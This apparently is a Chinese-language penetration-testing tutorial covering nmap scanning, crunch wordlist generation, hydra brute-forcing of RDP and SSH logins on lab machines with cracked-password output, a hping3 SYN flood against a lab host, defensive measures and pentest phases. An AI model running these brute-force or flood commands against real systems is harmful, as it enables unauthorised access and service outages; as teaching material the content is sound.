密码暴力破解、渗透测试流程

信息收集

1、扫描的价值
对攻击者来说:根据扫描结果,来决定进一步的攻击行动;
能够更有针对性地选择攻击方法、攻击工具,节省攻击时间

对防护者来说:根据扫描结果,判断应采取什么样的安全策略;
封堵漏洞、加固系统、完善访问控制

2、nmap

Network Mapper,一款开源的网络探测器

-采用原始报文方式,可以快速扫描单个主机或大型网络

-识别目标的服务类型、程序版本、防火墙等

1)nmap 命令格式

nmap  [扫描类型]  [选项]  <扫描目标>


2)指定扫描类型

  -sS:TCP半开扫描(只发SYN包,不会产生会话日志),速度快

  -sT:TCP全开扫描(尝试全连接),结果更准确

  -sU:UDP扫描

  -sP:使用ICMP扫描,仅用于探测目标是否在线

  -O  扫描操作系统

  -sV 扫描端口对应的服务版本

3)指定目标端口

  -p  3389  :扫描指定接口

  -p  20-80 :扫描连续的接口

  -p  22,80 :扫描多个指定接口

4)端口状态

  open  : 开放的

  filtered  :探测报文被目标服务器的防火墙过滤和阻止了

  closed :关闭的

  探测逻辑
1、探测存活的主机:nmap -sP  192.168.10.0/24; nmap -sS  192.168.10.0/24
2、探测目标主机的端口号:nmap -sS -p 端口列表 主机列表
3、探测目标主机端口对应的软件信息:nmap -sV -p 端口  主机
4、探测目标主机操作系统信息:nmap -O 主机
5、进一步攻击:密码爆破、漏洞利用、拒绝服务攻击

密码暴力破解

1、什么是暴力破解

    密码破解指攻击者猜解目标密码或用户名的攻击行为
暴力破解,也称为“密码穷举”,列出各种可能的密码,用来尝试去访问目标系统,理论上任何密码都可以用这种方法来破解,不过越复杂的密码破解耗时也越长
字典破解,实施破解时采用“可能”的密码,比如生日、单词、常用数字,可手动或通过工具编写,也可以通过分享获取社工密码库(最常见的密码是“password”、“123456”、“123456789”)

    [全球最常用的密码名单公布:“password”“123456”前二 (baidu.com)]

    测试密码有多安全?
[https://www.security.org/how-secure-is-my-password/]

(https://www.security.org/how-secure-is-my-password/)
 

2、crunch密码字典工具
基本用法:crunch     最小长度     最大长度    素材字符

示例1:crunch  6   6   0123456789    //随机组成6位纯数字密码

示例2:crunch  6   8    Abc1234    //由Abc1234随机组成的6~8位密码

示例3:crunch  8   8   -t  A%%     -o  pass.txt  // 以A开头2位数字组成的3位密码,保存为pass.txt文件
 

  特殊匹配字符:
@   --> 代表小写字母
,     --> 代表大写字母
%   --> 代表数字
^     --> 代表标点及特殊字符

  十八年窖藏的密码字典
[https://wwi.lanzoup.com/ivqUz0phft5c](https://wwi.lanzoup.com/ivqUz0phft5c)

3、hydra暴力破解
hydra:海德拉,一款功能强大的开源密码攻击工具,支持多种协议的破解

格式:hydra  [选项]   目标地址  服务类型

 -l 指定用户名

 -L 指定用户名字典文件

 -P 指定密码字典文件

 -o 将结果输出到指定文件

 -v 显示破解过程

 -t 同时执行的任务数,默认16个

示例1:破解windows靶机远程桌面密码

第一步:生成密码字典

┌──(rootkali)-[~]

└─# crunch  7   7   -t  pwd%%%%   -o  p1.txt    //产生开头pwd后面4位数字的长度7位密码

第二步:执行暴力破解(使用RDP-3389进行爆破)

┌──(rootkali)-[~]

└─# hydra  -l  Administrator  -P  p1.txt  192.168.10.145  rdp

[DATA] attacking rdp://192.168.10.145:3389/

[3389][rdp] host: 192.168.10.145   login: Administrator   password: pwd1234

第三步:在kali系统中远程登录windows-2008

┌──(rootkali)-[~]

└─# rdesktop   192.168.10.145

输入: yes


示例2:破解Linux靶机SSH登录密码

第一步:编写密码字典

┌──(rootkali)-[~]

└─# vim  pass.list

第二步:执行暴力破解

┌──(rootkali)-[~]

└─# hydra  -l  msfadmin  -P  pass.list  192.168.10.143  ssh  -t 4      //同时4个任务

[22][ssh] host: 192.168.10.143  login: msfadmin  password: msfadmin
 

  爆破ssh密码时可能因对方SSH配置,需要限制破解任务数量 -t 4

  第三步:在kali系统中,远程另外一台kali 主机

  ┌──(rootkali)-[~]

  └─# ssh    [email protected]

4、防暴破
1)设置黑客想不到的(防字典破解),设置够长够复杂的(防暴力破解),定期修改密码,不要用老密码

2)禁用管理员账号或改名,如:Administrator、root

3)做系统加固,设置登录次数限制、启用账户锁定阈值(针对普通用户)

4)修改端口号

5)指定哪些IP地址可以远程连接到本电脑
 

拒绝服务

1、什么是拒绝服务:

    通过各种手段,最终导致目标系统崩溃、失去响应,从而使目标系统不能为正常的用户提供资源或对应的功能(拒绝服务)

    常见的DoS攻击方式:

      SYN Flood泛洪

      Ping Flood泛洪

      UDP Flood泛洪

2、hping3测试工具

    可向目标主机发送任意TCP/IP协议数据包的一款开源的安全工具,也用于扫描/防火墙测试/路由追踪/协议分析等场景

    格式: hping3  主机  [选项]

    常用选项:

      --syn:设置SYN标记(-S)

      -p:指定目标端口

      -a:伪造源地址欺骗

      -d:  指定数据包的大小

      --flood:泛洪,尽最快发送数据包,不显示回复

      --rand-source:随机源地址模式

3、DoS攻击案例

  测试机:kali,使用hping3工具

  靶机:windows靶机,开启3389远程桌面服务

  场景演示:针对靶机的3389端口发起攻击,使其失去响应

  

  第一步:正常访问Windows靶机远程桌面

  第二步:kali 主机对windows靶机发起攻击

  ┌──(rootkali)-[~]

  └─# hping3  192.168.10.145 --syn --flood -p 3389

  HPING 192.168.10.145 (eth0 192.168.10.145): S set, 40 headers + 0 data bytes

  hping in flood mode, no replies will be shown

  //需要停止时,按Ctrl + C快捷键

  

  第三步:验证:在攻击过程中,远程windows-2008,发现无法连接远程

  第四步:再次验证

  备注:停止攻击,稍等1分钟,可以正常远程

  

4、DDoS,分布式拒绝服务( Distributed Denial of Service)

  1)什么是分布式拒绝服务:

    一种典型的流量攻击,放大版的DoS攻击,攻击方的主机数量呈现规模化;

    通常由分布在不同网络、不同位置的成千上万的主机组成攻击方(通常称为botnet僵尸网络),被同一发起者所控制,攻击强度更大,防御的难度也更大。

  

  2)如何防御DoS/DDoS攻击:

    1)提高服务方的交付能力

      减少服务配置的等待时间

      优化单一客户机的并发响应策略

      更换高性能设备

      增加网络带宽

      负载均衡架构

      部署CDN内容分发网络

    2)部署专用软硬件防御产品

      冰盾防火墙

      流量清洗、 DDoS高防IP

      IDS入侵检测设备

      抗DDoS专用防火墙设备

      识别源IP,植入黑名单

渗透测试流程

 1、渗透测试是什么

  -是一种通过模拟攻击的技术与方法,打破目标系统的安全防御,并获得目标系统控制访问权的安全测试方法.

2、渗透测试的目标分类

  -针对主机操作系统渗透:Windows、Linux···

  -针对数据库系统渗透:MySQL、MS-SQL···

  -针对应用系统渗透:PHP组成的网站···

  -针对网络设备渗透:防火墙、路由器、交换机···

 3、渗透测试的7个阶段

    1)前期交互

    2)信息收集

    3)威胁建模

    4)漏洞分析

    5)渗透攻击

    6)后渗透攻击

    7)渗透报告

你可能感兴趣的:(网络,网络安全,网络协议,运维)